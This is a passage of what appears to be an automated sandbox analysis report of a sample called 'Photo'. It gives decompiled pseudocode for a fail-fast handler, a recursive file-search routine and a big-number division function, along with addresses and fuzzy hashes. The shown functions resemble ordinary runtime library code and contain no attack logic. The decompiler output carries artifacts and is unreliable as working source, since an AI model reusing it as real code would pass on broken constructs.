			E001E14C7(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				long _t57;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				intOrPtr _t65;
				int _t66;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t64 = __edx;
				_t59 = __ebx;
				_t40 =  *0x1fc008; // 0x369f4a24
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				_push(_t65);
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E001D820A(_t41);
					_pop(_t60);
				}
				E001D8480(_t65,  &_v804, 0, 0x50);
				E001D8480(_t65,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t60;
				_v556 = _t64;
				_v560 = _t59;
				_v564 = _t68;
				_v568 = _t65;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x1b
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t66 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -785
				_t57 = UnhandledExceptionFilter(_t36);
				if(_t57 == 0 && _t66 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E001D820A(_t57);
				}
				E001D7760();
				return _t57;
			}

0x001e14c7
0x001e14c7
0x001e14c7
0x001e14d2
0x001e14d7
0x001e14d9
0x001e14e0
0x001e14e1
0x001e14e3
0x001e14e6
0x001e14eb
0x001e14eb
0x001e14f7
0x001e150a
0x001e1518
0x001e151e
0x001e1524
0x001e152a
0x001e1530
0x001e1536
0x001e153c
0x001e1542
0x001e1548
0x001e154e
0x001e1555
0x001e155c
0x001e1563
0x001e156a
0x001e1571
0x001e1578
0x001e1579
0x001e1582
0x001e1588
0x001e1588
0x001e158b
0x001e1591
0x001e159e
0x001e15a7
0x001e15b0
0x001e15b9
0x001e15c7
0x001e15c9
0x001e15cf
0x001e15d6
0x001e15de
0x001e15ea
0x001e15ed
0x001e15f2
0x001e15f9
0x001e1601

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 001E15BF
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 001E15C9
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 001E15D6

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d593ee1f527cad35079a283488635fba5412056a451dcb9fca41dc4e3c94e9d7
Instruction ID: 6135dad16d044b013ff75be412f2b7b64aaef27b1e38f63a8c867d6dbd075a43
Opcode Fuzzy Hash: d593ee1f527cad35079a283488635fba5412056a451dcb9fca41dc4e3c94e9d7
Instruction Fuzzy Hash: 0231B27491122CABCB61DF64DD89B9DBBB8BF18310F5042EAE41CA7251EB349B85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 001E7238 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E001E7238(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v28;
				signed int _v32;
				WCHAR* _v36;
				signed int _v48;
				intOrPtr _v556;
				intOrPtr _v558;
				struct _WIN32_FIND_DATAW _v604;
				intOrPtr* _v608;
				signed int _v612;
				signed int _v616;
				intOrPtr _v644;
				intOrPtr _v648;
				void* __edi;
				signed int _t40;
				signed int _t45;
				signed int _t48;
				signed int _t50;
				signed int _t51;
				signed char _t53;
				signed int _t62;
				void* _t64;
				union _FINDEX_INFO_LEVELS _t66;
				union _FINDEX_INFO_LEVELS _t67;
				signed int _t70;
				intOrPtr* _t71;
				signed int _t74;
				void* _t80;
				void* _t82;
				signed int _t83;
				void* _t87;
				WCHAR* _t88;
				intOrPtr* _t92;
				intOrPtr _t95;
				void* _t97;
				signed int _t98;
				intOrPtr* _t102;
				signed int _t105;
				void* _t108;
				intOrPtr _t109;
				void* _t110;
				void* _t112;
				void* _t113;
				signed int _t115;
				void* _t116;
				union _FINDEX_INFO_LEVELS _t117;
				void* _t121;
				void* _t122;
				void* _t123;
				signed int _t124;
				void* _t125;
				signed int _t130;
				void* _t131;
				signed int _t132;
				void* _t133;
				void* _t134;

				_push(__ecx);
				_t92 = _a4;
				_t2 = _t92 + 2; // 0x2
				_t108 = _t2;
				do {
					_t40 =  *_t92;
					_t92 = _t92 + 2;
				} while (_t40 != 0);
				_t115 = _a12;
				_t95 = (_t92 - _t108 >> 1) + 1;
				_v8 = _t95;
				if(_t95 <= (_t40 | 0xffffffff) - _t115) {
					_t5 = _t115 + 1; // 0x1
					_t87 = _t5 + _t95;
					_t122 = E001E0A4F(_t95, _t87, 2);
					_t97 = _t121;
					__eflags = _t115;
					if(_t115 == 0) {
						L6:
						_push(_v8);
						_t87 = _t87 - _t115;
						_t45 = E001E7048(_t97, _t122 + _t115 * 2, _t87, _a4);
						_t132 = _t131 + 0x10;
						__eflags = _t45;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t80 = E001E74B1(_a16, __eflags, _t122);
							E001E092A(0);
							_t82 = _t80;
							goto L8;
						}
					} else {
						_push(_t115);
						_t83 = E001E7048(_t97, _t122, _t87, _a8);
						_t132 = _t131 + 0x10;
						__eflags = _t83;
						if(_t83 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E001E16A1();
							asm("int3");
							_t130 = _t132;
							_t133 = _t132 - 0x260;
							_t48 =  *0x1fc008; // 0x369f4a24
							_v48 = _t48 ^ _t130;
							_t109 = _v28;
							_t98 = _v32;
							_push(_t87);
							_t88 = _v36;
							_push(_t122);
							_push(_t115);
							_t123 = 0x5c;
							_v644 = _t109;
							_v648 = 0x2f;
							_t116 = 0x3a;
							while(1) {
								__eflags = _t98 - _t88;
								if(_t98 == _t88) {
									break;
								}
								_t50 =  *_t98 & 0x0000ffff;
								__eflags = _t50 - _v612;
								if(_t50 != _v612) {
									__eflags = _t50 - _t123;
									if(_t50 != _t123) {
										__eflags = _t50 - _t116;
										if(_t50 != _t116) {
											_t98 = _t98 - 2;
											__eflags = _t98;
											continue;
										}
									}
								}
								break;
							}
							_t124 =  *_t98 & 0x0000ffff;
							__eflags = _t124 - _t116;
							if(_t124 != _t116) {
								L19:
								_t51 = _t124;
								_t117 = 0;
								_t110 = 0x2f;
								__eflags = _t51 - _t110;
								if(_t51 == _t110) {
									L23:
									_t53 = 1;
									__eflags = 1;
								} else {
									_t112 = 0x5c;
									__eflags = _t51 - _t112;
									if(_t51 == _t112) {
										goto L23;
									} else {
										_t113 = 0x3a;
										__eflags = _t51 - _t113;
										if(_t51 == _t113) {
											goto L23;
										} else {
											_t53 = 0;
										}
									}
								}
								_t101 = (_t98 - _t88 >> 1) + 1;
								asm("sbb eax, eax");
								_v612 =  ~(_t53 & 0x000000ff) & (_t98 - _t88 >> 0x00000001) + 0x00000001;
								E001D8480(_t117,  &_v604, _t117, 0x250);
								_t134 = _t133 + 0xc;
								_t125 = FindFirstFileExW(_t88, _t117,  &_v604, _t117, _t117, _t117);
								__eflags = _t125 - 0xffffffff;
								if(_t125 != 0xffffffff) {
									_t102 = _v608;
									_t62 =  *((intOrPtr*)(_t102 + 4)) -  *_t102;
									__eflags = _t62;
									_v616 = _t62 >> 2;
									_t64 = 0x2e;
									do {
										__eflags = _v604.cFileName - _t64;
										if(_v604.cFileName != _t64) {
											L36:
											_push(_t102);
											_t66 = E001E7238(_t102,  &(_v604.cFileName), _t88, _v612);
											_t134 = _t134 + 0x10;
											__eflags = _t66;
											if(_t66 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											__eflags = _v558 - _t117;
											if(_v558 == _t117) {
												goto L37;
											} else {
												__eflags = _v558 - _t64;
												if(_v558 != _t64) {
													goto L36;
												} else {
													__eflags = _v556 - _t117;
													if(_v556 == _t117) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t70 = FindNextFileW(_t125,  &_v604);
										_t102 = _v608;
										__eflags = _t70;
										_t64 = 0x2e;
									} while (_t70 != 0);
									_t71 = _t102;
									_t105 = _v616;
									_t111 =  *_t71;
									_t74 =  *((intOrPtr*)(_t71 + 4)) -  *_t71 >> 2;
									__eflags = _t105 - _t74;
									if(_t105 != _t74) {
										E001EC590(_t111 + _t105 * 4, _t74 - _t105, 4, E001E7053);
									}
								} else {
									_push(_v608);
									_t66 = E001E7238(_t101, _t88, _t117, _t117);
									L26:
									_t117 = _t66;
								}
								__eflags = _t125 - 0xffffffff;
								if(_t125 != 0xffffffff) {
									FindClose(_t125);
								}
								_t67 = _t117;
							} else {
								__eflags = _t98 -  &(_t88[1]);
								if(_t98 ==  &(_t88[1])) {
									goto L19;
								} else {
									_push(_t109);
									_t67 = E001E7238(_t98, _t88, 0, 0);
								}
							}
							__eflags = _v12 ^ _t130;
							E001D7760();
							return _t67;
						} else {
							goto L6;
						}
					}
				} else {
					_t82 = 0xc;
					L8:
					return _t82;
				}
				L40:
			}

0x001e723d
0x001e723e
0x001e7245
0x001e7245
0x001e7248
0x001e7248
0x001e724b
0x001e724e
0x001e7253
0x001e725d
0x001e7260
0x001e7265
0x001e726d
0x001e7270
0x001e727a
0x001e727d
0x001e727e
0x001e7280
0x001e7294
0x001e7294
0x001e7297
0x001e72a1
0x001e72a6
0x001e72a9
0x001e72ab
0x00000000
0x001e72ad
0x001e72b1
0x001e72ba
0x001e72c0
0x00000000
0x001e72c2
0x001e7282
0x001e7282
0x001e7288
0x001e728d
0x001e7290
0x001e7292
0x001e72c9
0x001e72cb
0x001e72cc
0x001e72cd
0x001e72ce
0x001e72cf
0x001e72d0
0x001e72d5
0x001e72d9
0x001e72db
0x001e72e1
0x001e72e8
0x001e72eb
0x001e72ee
0x001e72f1
0x001e72f2
0x001e72f5
0x001e72f6
0x001e72f9
0x001e72fc
0x001e7302
0x001e730c
0x001e7328
0x001e7328
0x001e732a
0x00000000
0x00000000
0x001e730f
0x001e7312
0x001e7319
0x001e731b
0x001e731e
0x001e7320
0x001e7323
0x001e7325
0x001e7325
0x00000000
0x001e7325
0x001e7323
0x001e731e
0x00000000
0x001e7319
0x001e732c
0x001e732f
0x001e7332
0x001e734e
0x001e7350
0x001e7352
0x001e7354
0x001e7355
0x001e7358
0x001e736e
0x001e7370
0x001e7370
0x001e735a
0x001e735c
0x001e735d
0x001e7360
0x00000000
0x001e7362
0x001e7364
0x001e7365
0x001e7368
0x00000000
0x001e736a
0x001e736a
0x001e736a
0x001e7368
0x001e7360
0x001e7378
0x001e7380
0x001e7384
0x001e7392
0x001e7397
0x001e73ac
0x001e73ae
0x001e73b1
0x001e73e6
0x001e73f1
0x001e73f1
0x001e73f6
0x001e73fc
0x001e73fd
0x001e73fd
0x001e7404
0x001e7421
0x001e7421
0x001e7430
0x001e7435
0x001e7438
0x001e743a
0x00000000
0x00000000
0x00000000
0x00000000
0x001e7406
0x001e7406
0x001e740d
0x00000000
0x001e740f
0x001e740f
0x001e7416
0x00000000
0x001e7418
0x001e7418
0x001e741f
0x00000000
0x00000000
0x00000000
0x00000000
0x001e741f
0x001e7416
0x001e740d
0x00000000
0x001e743c
0x001e7444
0x001e744a
0x001e7450
0x001e7454
0x001e7454
0x001e7457
0x001e7459
0x001e745f
0x001e7466
0x001e7469
0x001e746b
0x001e747f
0x001e7484
0x001e73b3
0x001e73b9
0x001e73bd
0x001e73c5
0x001e73c5
0x001e73c5
0x001e73c7
0x001e73ca
0x001e73cd
0x001e73cd
0x001e73d3
0x001e7334
0x001e7337
0x001e7339
0x00000000
0x001e733b
0x001e733b
0x001e7341
0x001e7346
0x001e7339
0x001e73da
0x001e73dd
0x001e73e5
0x00000000
0x00000000
0x00000000
0x001e7292
0x001e7267
0x001e7269
0x001e72c3
0x001e72c8
0x001e72c8
0x00000000

Strings

/, xrefs: 001E7302

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: edca93a2ef831b740a776f087ca91fab8643ddc6b49216c82c710a11c47e4c4d
Instruction ID: ec53b8f33a45d3001144910d4c66871f951389004848edb8200281968304630b
Opcode Fuzzy Hash: edca93a2ef831b740a776f087ca91fab8643ddc6b49216c82c710a11c47e4c4d
Instruction Fuzzy Hash: F641477690065AABDB24AFBACC88EBF77B8EB84710F104269F905D71C0E7309D81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001E9380 Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E001E9380(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e5
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E001EF390(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E001EF120(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E001EF220(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E001EF220(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x1ea99d
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E001EF120( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E001D9D2E(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E001D9D2E(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E001D9D2E(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x001e938c
0x001e938f
0x001e9393
0x001e939d
0x001e93a0
0x001e93a2
0x001e93a4
0x001e93b1
0x001e93b1
0x001e93b4
0x001e93b4
0x001e93b7
0x001e93ba
0x001e93bc
0x001e94ef
0x001e94f1
0x001e953a
0x001e953e
0x001e9544
0x001e94f3
0x001e94f5
0x001e94f8
0x001e94fa
0x001e94fd
0x001e94ff
0x001e9501
0x001e9535
0x001e9535
0x001e9535
0x001e9503
0x001e9508
0x001e950e
0x001e950e
0x001e9511
0x001e9513
0x001e9515
0x00000000
0x00000000
0x001e9517
0x001e9518
0x001e951b
0x001e951e
0x001e9520
0x00000000
0x001e9522
0x00000000
0x001e9522
0x00000000
0x001e9520
0x001e9524
0x001e952b
0x001e952f
0x001e9533
0x00000000
0x00000000
0x001e9533
0x001e9536
0x001e9536
0x001e9538
0x001e9545
0x001e9548
0x001e954b
0x001e954e
0x001e954e
0x001e9552
0x001e9555
0x001e9558
0x001e955b
0x001e9566
0x001e955d
0x001e9562
0x001e9562
0x001e9570
0x001e9575
0x001e9578
0x001e957a
0x001e9584
0x001e9587
0x001e958e
0x001e9591
0x001e9594
0x001e959c
0x001e95a2
0x001e95a2
0x001e95a2
0x001e95a2
0x001e9594
0x001e95a7
0x001e95ae
0x001e95ae
0x001e95b1
0x001e95b4
0x001e97e6
0x001e97e6
0x001e95ba
0x001e95ba
0x001e95c0
0x001e95c3
0x001e95c6
0x001e95c9
0x001e95cc
0x001e95cf
0x001e95d2
0x001e95d2
0x001e95d5
0x001e95dc
0x001e95dc
0x001e95d7
0x001e95d7
0x001e95d7
0x001e95de
0x001e95e2
0x001e95e5
0x001e95e7
0x001e95ea
0x001e95f1
0x001e95f4
0x001e95f7
0x001e9602
0x001e9605
0x001e960a
0x001e960f
0x001e9616
0x001e961b
0x001e961d
0x001e961f
0x001e9623
0x001e9626
0x001e9629
0x001e9631
0x001e963a
0x001e963a
0x001e963c
0x001e963f
0x001e963f
0x001e9629
0x001e9649
0x001e964e
0x001e9653
0x001e9655
0x001e9658
0x001e965a
0x001e965d
0x001e9660
0x001e9662
0x001e9665
0x001e9668
0x001e966a
0x001e9671
0x001e9676
0x001e9679
0x001e9683
0x001e9685
0x001e9687
0x001e968a
0x001e968a
0x001e968c
0x001e968f
0x001e9692
0x001e9695
0x001e9698
0x001e966c
0x001e966c
0x001e966f
0x00000000
0x00000000
0x001e966f
0x001e969b
0x001e969d
0x001e969f
0x00000000
0x001e96a1
0x001e96a1
0x001e96a4
0x001e96a6
0x001e96a6
0x001e96b4
0x001e96b7
0x001e96bc
0x001e96be
0x00000000
0x00000000
0x001e96c0
0x001e96c7
0x001e96c7
0x001e96ca
0x001e96cd
